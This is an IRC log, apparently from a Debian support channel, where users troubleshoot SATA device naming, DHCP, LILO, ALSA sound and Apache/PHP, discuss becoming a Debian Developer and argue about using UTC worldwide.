| 06:43.11 | \amethyst | kspath: /usr/share/vim/vim64/lang and so forth? |
| 06:43.12 | Hider | streuner: are you one of them? |
| 06:43.20 | streuner | Hider: no |
| 06:43.25 | kspath | \amethyst: I had had everything. I also removed everythign and put everything back again. It was still borked. |
| 06:43.30 | Hider | streuner: hehe ok |
| 06:44.11 | \amethyst | Nexus: hmm |
| 06:44.29 | streuner | Hider: try #debian-mentors, it seems those who are here aren't awake... |
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| 06:44.46 | Hider | streuner: ok |
| 06:44.49 | kspath | \amethyst: I do not know what/or why. After spending 1-2 hours or more I gave up screwing with it and did a backup and went to a clean install of sarge/stable. Sorry I should have looked into more. |
| 06:47.03 | Hider | streuner: no one seems to reply in #debian-mentors |
| 06:47.04 | Hider | :) |
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| 06:47.31 | kspath | Hider: be patient |
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| 06:47.33 | streuner | Hider: ok, try #debian-devel then, but don't tell somebody... ;-) |
| 06:48.20 | Hider | kspath: yeah I'm just patient but is everybody sleeping here :) |
| 06:48.22 | kspath | Hider: sometimes people are not staring at irc. They might be looking/working on something else. |
| 06:48.41 | Hider | kspath: that's a reason also :p |
| 06:49.00 | kspath | Hider: There are people all over the world. Almost all time zones but they are not always staring at irc channels. |
| 06:50.48 | kspath | Hider: Just check on it every 10-15 minutes but do not scroll their channels with messages only from you asking if they are there. Try asking every 1-2 hours. |
| 06:51.09 | LinuxNIT | how do i tell wifi-radar to use wlan0 not eth1? |
| 06:51.11 | Hider | kspath: ok I got it |
| 06:51.30 | dondelelcaro | Hider: the first thing you should do is start contributing |
| 06:51.44 | dondelelcaro | Hider: find a project that you're interested in and start helping with bugs, filing patches, etc. |
| 06:52.15 | dondelelcaro | Hider: in the course of contributing, the people you interact with who are DDs will become your advocates if you think you're doing a good job. |
| 06:52.32 | dondelelcaro | (advocate statements from DDs who haven't actually worked with you directly are pretty much totally useless. ) |
| 06:52.42 | \amethyst | Hider: you do realise there is a fair amount of bureaucracy, right? |
| 06:52.55 | dondelelcaro | \amethyst: there's really not all that much... |
| 06:53.11 | \amethyst | it takes time mainly |
| 06:53.21 | \amethyst | some people get frustrated |
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| 06:53.46 | dondelelcaro | to become a DD, yes... but it's not that long, and frankly, if waiting makes you frustrated, you're going to be frustrated a lot as a DD. |
| 06:53.57 | \amethyst | :) |
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| 06:54.04 | kizmet | w |
| 06:55.25 | Hider | Hey all: I had already done some package translations in Debian, and also now trying to package a GPL program of my own ;) |
| 06:55.41 | Hider | I know it's such a long long period |
| 06:55.52 | dondelelcaro | Hider: right, well, keep contributing, and then ask the people whose packages you've translated if they would be willing to advocate you. |
| 06:57.01 | kspath | Hider: There are mailing lists |
| 06:57.56 | dondelelcaro | Hider: if you have any more questions, feel free to ask them here or on debian-mentors@lists.debian.org (or debian-newmaint@lists.debian.org0 |
| 06:58.03 | dondelelcaro | s/0$/)/ |
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| 06:58.30 | kspath | ^ is beginning of line and $ is end |
| 06:58.59 | Supaplex | ^$ = empty line |
| 06:59.09 | kspath | hehehe |
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| 06:59.30 | kspath | <<== emtpy head |
| 06:59.33 | Supaplex | ^.*$ = most anything |
| 06:59.38 | Hider | :D |
| 06:59.39 | Hider | lol |
| 06:59.56 | streuner | <PROTECTED> |
| 07:00.10 | Supaplex | there went yesterday |
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| 07:01.18 | \amethyst | Supaplex: Utah? |
| 07:01.26 | Supaplex | yez |
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| 07:01.43 | kspath | or "central" with no DST ? |
| 07:01.44 | \amethyst | scary |
| 07:02.12 | kspath | maybe I should sleep before even more people are sure I am ignorant. |
| 07:02.42 | \amethyst | kspath: Indiana is backwards the other way |
| 07:02.53 | Supaplex | return ($kspath =~ (ignorant|stupid)); |
| 07:02.57 | Supaplex | ;) |
| 07:03.11 | \amethyst | kspath: Central some of the time, Eastern some |
| 07:03.29 | \amethyst | except for a few counties |
| 07:04.22 | Supaplex | someday bitchx will become extinct. then we'll be free from all these nonsence quit messages. |
| 07:05.10 | kspath | I understand the concept of trying to stradle the most daylight so your nation uses less energy but it is very silly and annoying. Why not say the business are 8-17 part of the year and 9-18 other parts or whatever. |
| 07:05.53 | \amethyst | kspath: because governments are insane |
| 07:06.28 | kspath | Even more annoying. Why does 12pm need to be high noon daylight still? Have every use same UTC/GMT. |
| 07:06.35 | Supaplex | far less insane then the puppets that run them |
| 07:07.09 | kspath | We are not using sun dials anymore. |
| 07:07.17 | \amethyst | Supaplex: the organization adds some insanity of its own, plus theirs |
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| 07:07.44 | \amethyst | kspath: why count time by the sun? that's so provincial |
| 07:07.46 | Supaplex | very true :) the insanity has a cumlitive effect. |
| 07:08.21 | Supaplex | oh cool, nexus is another arosnet customer. :) |
| 07:08.27 | kspath | \amethyst: Well if you meant counting "seconds" from some point. I can see that. |
| 07:08.32 | fo0bar | hiya. I just noticed bonnie++ is at version "1.03a+b1" in etch/sid. what is the "+b1" part, and why do I not see sources for it? |
| 07:08.41 | \amethyst | kspath: seconds are too arbitrary |
| 07:08.42 | fo0bar | (let alone a changelog) |
| 07:09.11 | kspath | \amethyst: But a transition to one clock for the Earth with 24 hours 0-23 would be a good start. |
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| 07:09.53 | \amethyst | kspath: 1e44 planck time is about 5.4 seconds. I suggest that's a good starting point |
| 07:10.00 | kspath | \amethyst: If you told anyone in channel to meet you here at 14:00 they would know what you meant unless they use 14.00 instead. :-0 |
| 07:11.28 | kspath | \amethyst: oh come on. average person can not balance a checkbook or comprehend algebra or chemistry or physics. What makes you think anything that alien from current methods could work in out lifetime. |
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| 07:11.47 | liable | fucked if i would like to use utc as local time. |
| 07:11.52 | \amethyst | kspath: because we'll have to standardize with the aliens someday :) |
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| 07:12.29 | kspath | liable: if everyone was using that same clock what would be the problem? |
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| 07:12.53 | \amethyst | kspath: oh, and there's relativity to worry about |
| 07:13.12 | liable | kspath: i just prefer local, 2400 utc here is 10am, and is just to confusing/doesnt make sense. |
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| 07:14.10 | nimak | btw, is anyone here familiar with x11 fonts messing-around-with? |
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| 07:14.23 | liable | i mean, how can you start a fresh day when the sun has been up for 5 hours. i wake up taoday and finish work tomorrow.. |
| 07:14.42 | kspath | \amethyst: let us not get that technical. I am way too tired for such a discussion. |
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| 07:15.07 | \amethyst | but how will we talk with the colonies? |
| 07:15.10 | \amethyst | :) |
| 07:15.18 | nimak | firefox is getting mad about fonts |
| 07:15.19 | liable | steady on.. |
| 07:15.44 | nimak | it keeps segfaulting whenever i hit wikipediea |
| 07:15.50 | kspath | liable: obviously, you would wake up when you set your clock to go off or when you woke up. |
| 07:16.16 | nimak | shit, i already asked in this channel |
| 07:17.19 | kspath | \amethyst: please, colonies? we humans can not even travel any distance or work together on much of anything. We will be luck to survive till 2100. |
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| 07:18.12 | liable | kspath: yes, but that is not the point. i go to work one day and finish the next.. thats just silly. imagine doing your paperwork. Did i do this on the 25, or the 26, depending of the time of day.. rediculous |
| 07:18.15 | \amethyst | kspath: It's a race to see whether we leave the planet or die |
| 07:18.16 | kspath | liable: The idea is everyone would be on UTC/GMT but your area would set their business/school hours as they see fit. |
| 07:18.47 | Supaplex | yea and by 2200 aliens will discover our planet, and wonder wth happened, and why there's global nuclear fallout |
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| 07:19.12 | kspath | liable: I think you do not understand. When 23.59 passes to 00.00 it is next day. |
| 07:19.14 | d4t2ilL4 | hello |
| 07:19.23 | liable | for an interesting website actually (chernobyl related) look up kidofspeed.com |
| 07:19.42 | Supaplex | kidsonspeed.com? ;) |
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| 07:20.40 | Supaplex | liable: that's just a spamsquatter. cute puppy tho |
| 07:20.41 | liable | kspath: yes, which here is 10am, so if i say (for example) do something at 900am, then something at 1100am, then when i do my paperwork, i have to change the date. changing the date in the middle of the day is just stupid. |
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| 07:21.05 | liable | Supaplex: spam squatter? |
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| 07:21.12 | kspath | liable: The concept of an hour of day being related to daytime and nighttime is something people on certain parts of the earth believe in. Try living in a part that is dey for many many many many many many hour or dark for same. |
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| 07:21.39 | imaek | Is there a good way to format a number in the command line, so that 1 would become 001, 2 -> 002, etc? |
| 07:21.58 | kspath | liable: You do not set it. EVERYWHERE would be UTC. You would be on UTC. |
| 07:22.01 | \amethyst | imaek: man 1 printf |
| 07:22.07 | liable | kspath: yeah, but those parts are relatively rare and unpopulated, just cause they have to, doesnt make sense for everyone else to. |
| 07:22.46 | liable | kspath: err, which means 10am is the change of day/date.. |
| 07:22.49 | kspath | liable: You are quite intelligent. I think if you were to think about it you would understand but you might still disagree with it for other reasons. |
| 07:22.52 | \amethyst | imaek: THREEDIGIT=`printf "%03d" $NUM` |
| 07:22.55 | Supaplex | liable: yea, kidofspeed.com, it's just a parked website with only advertising on it. |
| 07:23.05 | kspath | liable: no, 10am is not a change of date. |
| 07:23.19 | liable | kspath: i am actually a pilot so i deal with utc time every day, and yes, it is a pain in the ass. |
| 07:23.38 | Supaplex | imaek: or seq (man seq) or even perl printf to |
| 07:23.42 | imaek | okay |
| 07:23.44 | imaek | Thank you. |
| 07:24.01 | liable | Supaplex: oh, you dont see the photos? |
| 07:24.06 | kizmet | imaek, there is allways the numberpad function in php in which you can call from the command line. |
| 07:24.11 | kspath | liable: you are not getting it still. everywhere would be UTC. and AM and PM are silly when you can just use 00:00 => 23:59 |
| 07:24.34 | MrNaz | when linux allocates /dev/sda /dev/sdb etc, how does it allocate the a, b, c etc? does it directly map controller1 -> a, controller 2 -> b etc or does it just take a, b, c setc sequentially from populated channels? |
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| 07:24.57 | MrNaz | i.e., if i didnt have a drive on controller port 2, would i get a, b, d or would i get a, b, c ? |
| 07:25.12 | Supaplex | liable: nope. It looks like one of those 'typo-squatter' websites. nothing useful at all. |
| 07:25.12 | kspath | liable: You would not be converting time zones. some parts of the world would be wide awake and full day light at 01:00 |
| 07:25.18 | \amethyst | MrNaz: sequentially |
| 07:25.33 | \amethyst | MrNaz: hd? for IDE is different, though |
| 07:25.47 | kspath | liable: in other words... The whole earth one time zone of UTC. |
| 07:25.49 | liable | kspath: yes, and that is stupid for the reasons i explained |
| 07:25.58 | kizmet | MrNaz, hd[x] for IDE and sd[x] for scsi/sata |
| 07:25.59 | MrNaz | \amethyst these are SATA |
| 07:26.14 | liable | Supaplex: oh, i will try and get the actuall link then |
| 07:26.16 | \amethyst | MrNaz: hm.. it *should* still be sequential |
| 07:26.20 | MrNaz | linux 2.6 kernels treat sata like scsi iirc |
| 07:26.23 | \amethyst | MrNaz: I prefer to use /dev/disks/ |
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| 07:26.46 | \amethyst | MrNaz: that way reordering devices doesn't cause problems |
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| 07:27.00 | Supaplex | what, you don't have the uuid of all your partitions memorized? |
| 07:27.22 | liable | Supaplex: http://www.kiddofspeed.com/ |
| 07:27.22 | Supaplex | ;) |
| 07:27.32 | MrNaz | \amethyst ok so if my /dev/sdb is reporting badblocks, how do i know which physical drive to remove and replace? |
| 07:27.35 | kizmet | Supaplex, I do on my server rofl! |
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| 07:27.49 | MrNaz | is it *definately* sata1 ? |
| 07:27.49 | kizmet | MrNaz, sdb is your second controller |
| 07:27.53 | \amethyst | MrNaz: hdparm -i might give you some info |
| 07:27.53 | Hider | does anyone here have a script to automate the ifup process for wireless: searching in iwlist, selecting from list bla bla... |
| 07:28.11 | \amethyst | MrNaz: I don't know how SATA is set up exactly |
| 07:28.15 | kizmet | MrNaz, sda is your primary sata controller |
| 07:28.48 | MrNaz | is there a command that can output a list of all drives? |
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| 07:29.10 | MrNaz | kizmet yes, so is sdb the primary controller's second disk, or the secondary controller's first disk? |
| 07:30.00 | kizmet | MrNaz, as SATA can only have one disk per channel SDA is your disk attached to your primary SATA port and SDB is the disk attached to the secondary port. |
| 07:31.34 | MrNaz | kizmet i apologise for wanting absolute clarity and acting niggly and dumb in the process, but out of sata0, sata0, sata2 and sata3.... /dev/sdb is *definately* going to mean sata1 correct? |
| 07:31.50 | kizmet | yes. |
| 07:31.51 | MrNaz | i mean sata0, sata1, sata2 and sata3 |
| 07:31.59 | MrNaz | ok thanks |
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| 07:34.15 | unix_infidel | ok guys, i've looked at some of the stuff dpkg has mentioned about services and init, i just cant find a FULL detailed explanation on the debian website about understanding sysv. |
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| 07:34.57 | unix_infidel | you guys basically assume everyone learned linux services one way. |
| 07:35.16 | unix_infidel | i understand run levels just fine, its just the way debian manages them, i'm having a hard time finding references that sort it out for me. |
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| 07:35.55 | unix_infidel | any references (NOT MANPAGES) that help me out before i download this net install iso? |
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| 07:38.25 | kizmet | unix_infidel, ahm install the netinstall iso and work it out like the rest of us have ? |
| 07:39.14 | imaek | If I have an integer variable, how do I increment it? |
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| 07:39.39 | \amethyst | imaek: in bash $((foo++)) |
| 07:39.53 | unix_infidel | kizmet: i have a bottle of C6H6 here, wanna sniff? |
| 07:39.54 | unix_infidel | :) |
| 07:40.03 | \amethyst | imaek: which expands to the new variable |
| 07:40.07 | unix_infidel | i'd like to find out what i'm getting into before i dive in. |
| 07:40.08 | kizmet | unix_infidel, nar i'll be right cheers. |
| 07:40.35 | unix_infidel | heh, anyone be so kind as to point me to some references on sysv, i've tried tldp, debian.org and havent been able to find anything. |
| 07:40.57 | kizmet | unix_infidel, http://www.google.com/search?q=Debian%20Run%20Levels |
| 07:41.04 | kizmet | :P |
| 07:41.17 | imaek | \amethyst, that doesn't work. |
| 07:41.34 | \amethyst | imaek: if you just want to assign, let foo="foo + 1" |
| 07:41.35 | unix_infidel | kizmet: Did you mean: Debian RunLevels |
| 07:41.41 | unix_infidel | see, even google doubts your competence. |
| 07:41.46 | unix_infidel | :P |
| 07:41.54 | kizmet | unix_infidel, yes *yawn* |
| 07:42.45 | kizmet | damn mozilla-firefox package!!!! |
| 07:42.47 | mist | does any one suggest a decent fax server software which deals with email-to-fax and fax-to-email? |
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| 07:43.01 | kizmet | mist, http://www.asterisk.org |
| 07:43.08 | kizmet | heh |
| 07:43.21 | mist | it support both ? |
| 07:43.23 | kizmet | mist, http://www.voip-info.org |
| 07:43.37 | kizmet | mist, pretty sure it can :) |
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| 07:43.55 | mist | I HAVE ASTERfax IN MY LIST, BUT ITS ONLY FOR EMAIL-TO-FAX |
| 07:44.01 | mist | oops |
| 07:44.11 | kizmet | mist, there are debian packages for it however they are a little out-dated |
| 07:44.19 | kizmet | mist, have a look at http://www.voip-info.org |
| 07:44.27 | mist | ok kizmet |
| 07:45.16 | kizmet | mist, there is #asterisk too |
| 07:45.32 | mist | thx kizmet :) |
| 07:45.43 | kizmet | np mist. |
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| 07:50.46 | kizmet | brb |
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| 07:53.26 | gokee2 | my xserver (xorg) fails saying (EE) No devices detected. then later "no screens found" I tried redoing the nvidia install, it failed. Any help? |
| 07:53.43 | gokee2 | it failed as in did not fix anything |
| 07:53.55 | MrNaz | \amethyst hdparm apparently doesnt work with sata drives... is there a similar prog that gives info on sata drives? |
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| 07:58.07 | starfishy | weird, i get 169.254 addresses consistently instead of the expected 192.168.1 addresses |
| 07:58.22 | starfishy | on two different machines |
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| 07:58.41 | liable | check your routers settings then |
| 07:59.02 | kizmet | starfishy, Windows machines on the network ? One may be running as a DHCP server causing conflicts. |
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| 07:59.49 | starfishy | kizmet: no windows machines whatsoever |
| 08:00.08 | starfishy | i checked both my server and my notebook for active dhcp servers |
| 08:00.14 | starfishy | neither has one running |
| 08:00.27 | Tallu | What about your router? |
| 08:00.30 | starfishy | i can see the dhcp dialog and that a 192.168.1 address is assigned |
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| 08:00.51 | liable | then what |
| 08:00.53 | starfishy | my router is running the only dhcp server in my network |
| 08:01.15 | starfishy | but if i look at the ip address with ifconfig i see 169.254.80.88 |
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| 08:01.47 | starfishy | also after the dhcp dialog there is a pregnant pause |
| 08:01.56 | iNAP | im having a similar problem |
| 08:02.07 | starfishy | if i do an ifdown-ifup the result is the same |
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| 08:02.18 | starfishy | if i manually assign an ip address it works |
| 08:02.19 | iNAP | but im still in the shell, and when i ifconfig, i get 127.0.0.1 and i need to change it to 192.168 |
| 08:02.51 | Tallu | So your routers dhcp isnt working properly, or they cant properly communicate with it |
| 08:03.00 | fairway | whats the latest testing codename? |
| 08:03.04 | evilgeek | how do you get aptitude to install a package without screwing everything else up? (like, say, removing a bunch of completely unrelated packages and upgrading some more.) |
| 08:03.08 | iNAP | well obviously its working correctly if a mac can connect to it |
| 08:03.11 | starfishy | my router's dhcp has worked ok for a year now |
| 08:03.11 | iNAP | and 3 other window machines |
| 08:03.17 | starfishy | i doubt its the router's fault |
| 08:03.25 | starfishy | i suspect 2.6.15.x |
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| 08:03.46 | iNAP | now i changed my interfaces file |
| 08:03.48 | liable | fairway: etch |
| 08:03.51 | fairway | k |
| 08:03.57 | iNAP | changed the auto eth0 |
| 08:04.01 | iNAP | and iface eth0 inet dhcp |
| 08:04.11 | iNAP | but now it does some weird shit |
| 08:04.13 | liable | evilgeek: upgrade instead of dist-upgrade.. |
| 08:04.16 | evilgeek | (i say "aptitude install djview" and suddenly it wants to remove KDE and upgrade xsidplay.) |
| 08:04.30 | liable | kde is a mets package |
| 08:04.35 | liable | meta |
| 08:04.36 | starfishy | evilgeek: then there is some conflict between your package and kde |
| 08:04.45 | fairway | linux sucks |
| 08:04.50 | Od1Mie2L | Hi, I have a makefile question about iterating over rule arguments: http://sial.org/pbot/16022 |
| 08:04.53 | evilgeek | liable: it's unclear how aptitude upgrade will help. |
| 08:05.04 | liable | if it want to upgrade shit, then obviously theres shit to be upgraded.. |
| 08:05.19 | iNAP | now my problem is that during my installation with debian, it didnt find a network, and i thought maybe i would be able to fix it after.. but my problem now is that i cant install the packages, because they were downloaded in the first place! so i need to fix my network configuration and then download the packages |
| 08:05.22 | iNAP | my question is, how do i do that? |
| 08:05.35 | evilgeek | liable: there is. i want to install a package, holding everything unrelated. |
| 08:05.52 | cyzie | anybody try nohup before? i dont know the exact way to do it but i want to run a script, say cyzie.sh with nohup. anybody can help? |
| 08:05.55 | liable | why? so you can get rooted? |
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| 08:06.28 | evilgeek | liable: because i want the package installed today, rather than next week. |
| 08:06.28 | liable | evilgeek: it will hold everything unrelated |
| 08:06.44 | liable | ever heard of dependancies? |
| 08:06.49 | evilgeek | fuck this. this is like talking to a wall. |
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| 08:07.08 | liable | !customer |
| 08:07.08 | dpkg | another happy customer leaves the building |
| 08:07.12 | Daemon- | good morning everyone |
| 08:07.29 | iNAP | does anyone know a way to fix my problem? |
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| 08:07.54 | Od1Mie2L | my question is about iterating over rule arguments |
| 08:08.17 | Daemon- | i am running sarge 3.1 stable and installed GRUB on the setup, but now I want to change it to Lilo, can anyone recomment a walkthrough to do this or help me? Can it be done with apt? |
| 08:08.54 | liable | iNAP: does eth0 show in ifconfig? |
| 08:09.16 | iNAP | mm im not sure. |
| 08:09.25 | liable | Daemon-: install lilo, then run lilo. have a read of man lilo, man lilo.conf |
| 08:09.25 | iNAP | ill check, but should i check anything else while im at it |
| 08:09.55 | Daemon- | liable - is it ok to install it with apt? |
| 08:10.04 | liable | iNAP: if it doesnt shoe, run ifup eth0, if that fails, your box doesnt seem to be getting a dhcp lease, so try a static ip. |
| 08:10.12 | liable | Daemon-: of course |
| 08:10.15 | Daemon- | thanks |
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| 08:15.09 | Daemon- | liable - ive installed lilo using apt and tried to run /sbin/lilo but get this error..... |
| 08:15.16 | Daemon- | . /etc/lilo.conf: No such file or directory |
| 08:15.18 | jimi | hey has anyone invented a fat32 defrag utility that works in debian yet? |
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| 08:15.30 | Daemon- | why wouldnt it be there? |
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| 08:16.26 | liable | Daemon-: read the man pages i gave you, i dont remember of the top of my head, and i dont have acces to my box atm. |
| 08:16.27 | jimi | daemon, tried the /boot/ dir? |
| 08:17.03 | liable | lilo.conf is in /etc |
| 08:17.52 | Daemon- | actually lilo.conf isnt anywhere |
| 08:18.22 | Daemon- | . /var/lib/dpkg/info/lilo.config << thats the only one on the hdd |
| 08:18.36 | liable | Daemon-: read the man pages |
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| 08:19.04 | Daemon- | liable: - i dont understand what you mean when you say that.... sorry but im a newb |
| 08:19.17 | liable | Daemon-: didnt it mention something you had to do when you installed lilo? |
| 08:19.35 | jimi | so nobody knows of a fat32 defrag utility that can be run in linux? |
| 08:19.41 | liable | Daemon-: oh, type in a terminal, man lilo |
| 08:19.48 | Daemon- | thanks |
| 08:20.01 | prolific | I just compiled my kernel and installed alsa. No problems when I run alsa{conf|mixer}, however, neither /dev/dsp, /dev/sound, nor /dev/audio exist and apps fail because of this. Any ideas? |
| 08:20.28 | jimi | forgot to put the sound card in the computer? |
| 08:20.33 | cahoot | prolific: you want alsas oss-emulation - snd-pcm-oss |
| 08:20.59 | prolific | cahoot, Ah ok. Why do I want emulation? |
| 08:21.28 | cahoot | prolific: those devices are oss devices - native alsa devices are in /dev/snd |
| 08:21.52 | cahoot | prolific: lots of 'old' apps are not alsa aware |
| 08:21.59 | liable | Daemon-: iirc it lilo -M |
| 08:22.11 | Daemon- | sorry? |
| 08:22.14 | prolific | Ah, interesting. xmms, for example though has an alsa plugin. Figured the plugin would know about itself... ;) |
| 08:22.38 | prolific | cahoot, So this emulation is kernel support? |
| 08:22.39 | cahoot | prolific: dose /proc/asound exist? |
| 08:22.48 | Daemon- | liable - what do you mean? |
| 08:22.50 | liable | Daemon-: /sbin/lilo -M /dev/foo |
| 08:22.54 | gokee2 | when I do "apt-get install nvidia-glx nvidia-setting" apt-get wants to remove x-window-system-core and xserver-xorg. Why? |
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| 08:23.01 | prolific | cahoot, Yep, and /dev/snd as well |
| 08:23.15 | Daemon- | liable - Fatal: Cannot open /dev/foo: No such file or directory |
| 08:23.20 | cahoot | prolific: ok so basically alsa is running ok |
| 08:23.37 | prolific | cahoot, Yeah, it's great. I just can't get a player to realize that |
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| 08:24.16 | liable | Daemon-: um, replace foo with your hard drive device.. sounds like you have some reading to do. why use lilo then if you dont really know what you are doing? |
| 08:24.17 | cahoot | prolific: so even if you tell xms to use alsa plugin it looks for /dev/dsp? |
| 08:24.51 | prolific | cahoot, Well, I'm not sure where xmms is looking, I just assume /dev/dsp because when I touch /dev/dsp, mpg123 gets a little further before erroring |
| 08:25.00 | Daemon- | liable - im experimenting and trying to learn |
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| 08:25.25 | cahoot | prolific: test sound with 'aplay' to make sure pure alsa is ok |
| 08:25.31 | iNAP | well it didnt work.. it said no dhcp offers or somethin like that |
| 08:25.37 | Daemon- | liable - how do i find out which hard drive device im using? i dont want to pick the wrong one cos ive got windows on this hdd as well |
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| 08:25.44 | iNAP | i think i just need to configure my interfaces correctly |
| 08:25.46 | iNAP | but i dont know how |
| 08:26.03 | liable | Daemon-: maybe you should get a little more familiar before you mess with your mbr, if you fuck it up, you will need to rescue from the install disk, which isnt all that straightforward. |
| 08:26.06 | iNAP | i mean. i know how to edit it.. i just don't know what to write. |
| 08:26.28 | prolific | cahoot, Ok |
| 08:26.35 | liable | iNAP: then set a static ip. |
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| 08:27.24 | Daemon- | liable - im willing to take the chance because i can get myself back to the point im at now by myself |
| 08:29.00 | tktktk | is there any good replacement for make? |
| 08:29.33 | prolific | cahoot, Whoa, interesting. I just get loud static |
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| 08:29.45 | prolific | cahoot, aplay and totem appear to be working fine |
| 08:29.51 | cahoot | prolific: played an mp3? |
| 08:29.53 | prolific | Apart from the whole hearing music aspect |
| 08:30.00 | prolific | Yeah |
| 08:30.16 | cahoot | prolific: aplay needs a wav |
| 08:30.36 | cahoot | prolific: but never mind - sound is basically ok |
| 08:30.56 | prolific | cahoot, Ok aplay kind of interrupts the static to make a different static |
| 08:31.10 | prolific | cahoot, Something appears to be feeding trash into my card |
| 08:31.15 | cahoot | prolific: modprobe snd-pcm-oss to get access to the oss devices you asked for initially |
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| 08:31.40 | prolific | cahoot, I don't think I compiled that |
| 08:31.43 | prolific | :/ |
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| 08:33.04 | prolific | When I have aplay play a wave, I get strange noises |
| 08:33.16 | cahoot | prolific: fuser -v /dev/snd/pcmC0D0p will tell you if some app is using the device atm |
| 08:33.33 | prolific | Nope |
| 08:34.43 | prolific | Ok, totem is able to get music through ! |
| 08:34.46 | prolific | mp3 |
| 08:35.02 | cahoot | prolific: so apart from no /dev/dsp you also get distorted sound? |
| 08:35.16 | prolific | cahoot, Well, I was. It's super strange... |
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| 08:35.49 | prolific | It's seriously as though someone is like: for i in $RANDOM; sleep $; cat large_file > /dev/dsp; done |
| 08:35.54 | prolific | $i |
| 08:36.01 | prolific | Twas random. But it appears to have ceased |
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| 08:36.31 | iNAP | liable what will a static IP help me though.. if im running a dhcp network |
| 08:36.54 | prolific | mpg123 and xmms still do not work, but totem seems fine. I don't know why for sure yet |
| 08:37.12 | iNAP | oh fuck im stupid.. im running a PPPoE |
| 08:37.15 | iNAP | whats the diff? |
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| 08:37.44 | liable | huh? |
| 08:37.50 | epsilon | you go online with PPPoE and have internal LAN behind a router with DHCP? |
| 08:37.53 | Diazepam | is there a sysOP in here? |
| 08:37.54 | prolific | cahoot, Apparently I just need a sane player |
| 08:37.57 | iNAP | oh yeah |
| 08:38.02 | iNAP | so i am on dhcp |
| 08:38.17 | itguy | okay i have a very weired thing... it's a cross in the center or my screen... it's not my mouse pointer what is it? |
| 08:38.39 | cahoot | burning cross? |
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| 08:39.16 | itguy | no it's just a cross......huh funny last night it was an X?!! any idea |
| 08:39.17 | iNAP | so what do i need to have written in my interfaces.. |
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| 08:39.53 | epsilon | iNAP: static IP would be as good as dynamic, unles you don't require port forwarding sth |
| 08:40.07 | prolific | cahoot, Ahh xmms can play with the alsa plugin as _root_! |
| 08:40.10 | prolific | We're getting somewhere |
| 08:40.26 | prolific | I chmod o+rw /dev/snd/* to no avail |
| 08:40.33 | iNAP | ok.. so what info would i need. |
| 08:40.49 | shogunx | prolific try /dev/dsp and /dev/mixer with the permissions |
| 08:41.16 | cahoot | prolific: you not member of audio? |
| 08:41.26 | babo | hi guys, I'm having apache issues on my machine. I have installed apache/php5 and it seems to work fine. I can run and access phpmyadmin but when I try to access a folder with a phpinfo() function in an index.php file ... it tells me that I'm trying to access a .phtml file and asks me where I want to save it. Can anyone help ? |
| 08:41.43 | itguy | any idea guy about that cross in my screen? |
| 08:41.44 | prolific | cahoot, Must not be, but that shouldn't matter with the rights I gave 'other'. And I don't have /dev/dsp or /dev/mixer ;) |
| 08:42.12 | prolific | cahoot, Oh, I am a member of audio |
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| 08:42.22 | cahoot | prolific: 'id' will tell - and thos devices need snd-pcm-oss as I told you |
| 08:42.38 | iNAP | epsilon: can you tell me please what i need to have written in my interfaces? |
| 08:42.39 | prolific | cahoot, Well, right but xmms can play mp3s as root |
| 08:42.47 | prolific | So... |
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| 08:42.52 | prolific | Interesting |
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| 08:43.16 | prolific | I just straced but there is a lot of output. I'll redirect it and grep for open to see which device it's accessing... |
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| 08:45.38 | liable | itguy: have you actually installed a desktop environment or just x or what? |
| 08:46.17 | liable | !interfaces |
| 08:46.17 | dpkg | Your network configuration in potato and later is done in the file /etc/network/interfaces. "man 5 interfaces" for docs, (zless /usr/share/doc/ifupdown/examples/network-interfaces.gz for an example). start and stop your networking with ifup -a and ifdown -a respectively. See also "dhcp client". for laptops, use /etc/pcmcia/network.opts instead or see "man resolv.conf" for DNS or ask me about "static route" |
| 08:46.24 | liable | iNAP: ^^ |
| 08:47.05 | iNAP | i read it all.. but ill try again |
| 08:47.09 | prolific | cahoot, Dood this is wierd. The only thing that xmms seems to be opening in the /dev directory is urandom |
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| 08:47.25 | prolific | When run as root. So I don't know which file to grant perms to |
| 08:47.26 | liable | iNAP: so which do you use, pppoe or ifup/down? does your router actually look after the connection side of things? |
| 08:47.45 | iNAP | well im using dhcp.. cause my router |
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| 08:48.13 | babo | Can anyone help with an apache/php problem ? |
| 08:48.16 | liable | does what? |
| 08:48.19 | amee2k_ | what does "E: gnome-applets2 has no installation candidate" mean? |
| 08:49.19 | gnufan | !tell babo about ask |
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| 08:49.25 | dn3 | babo what problem do you have? |
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| 08:50.12 | gnufan | babo: not guaranteeing we won't just say - try #php -- but that is what cut and paste is for right? |
| 08:50.15 | cahoot | prolific: you are sure you configged xmms correct? |
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| 08:50.35 | babo | gnufan: thanks |
| 08:50.37 | babo | Hi guys, I'm having trouble with my apache/php setup. I can run and access phpmyadmin no probs. But when I try to access a folder with a simple phpinfo() function in an index.php file it returns a 'You are trying to access a .phtml file - where would you like to save it ' |
| 08:51.10 | liable | iNAP: i have no idea what the hell is going on with your box as you cannot explain properly. so, as i said, set a static ip. read /usr/share/doc/ifupdown/examples/network-interfaces.gz |
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| 08:51.25 | prolific | cahoot, Woot! Nah I apparently didn't. In the preferences tab there is a button to configure the plugin. I'm an idiot. I had glossed over this before so I thought nothing of it. Anyway, the fix was that xmms was trying to write sound to /dev/sound. A slight maneuver and I'm good |
| 08:51.31 | gnufan | babo: my machine did that last night - for me it was due to downgrading PHP -- have you recently fiddle or a new set-up? |
| 08:51.33 | prolific | cahoot, Thanks for your patience bro ;) |
| 08:51.33 | babo | I appreciate the help ... I asked a little earlier on but I didn't get a response ... I've been having many php/apache woes and it's getting a little frustrating. So thanks for the help |
| 08:51.42 | Flexy | I have two dvb cards, how can get udev to assign them "correct" /dev/dvb/adapterx devices? |
| 08:51.48 | dn3 | babo :))) you missed one line at httpd.conf #AddType application/x-httpd-php .php and DirectoryIndex index.html index.htm index.shtml index.cgi index.php |
| 08:52.01 | babo | gnufan: I've been trying to set it up for weeks ... I've had every kind of error you can imagine |
| 08:52.13 | iNAP | so i should set a staticip even if it should automatically detect if from dhcp? |
| 08:52.14 | babo | dn3: no ...it's in there |
| 08:52.35 | babo | babo: wait ... let me double-check |
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| 08:53.33 | dn3 | babo with #? did you restart apache? if ur not sure make killall -9 httpd; /etc/init.d/apache start |
| 08:53.35 | liable | strangely, i had the problem of firefox wanting to save a .php file when setting up a blog, i ended up using a windows computer with ie to set it up, after that everything was fine. fucked if i know what the hell the problem was though |
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| 08:53.50 | babo | dn3: yes, I've restarted it numerous amounts of times |
| 08:54.30 | gnufan | babo: my problem was the various "ini" files that relate to php in Apache2 got out of sync with the modules, I think it was "dpkg-reconfigure php4-pgsql" that fixed things. |
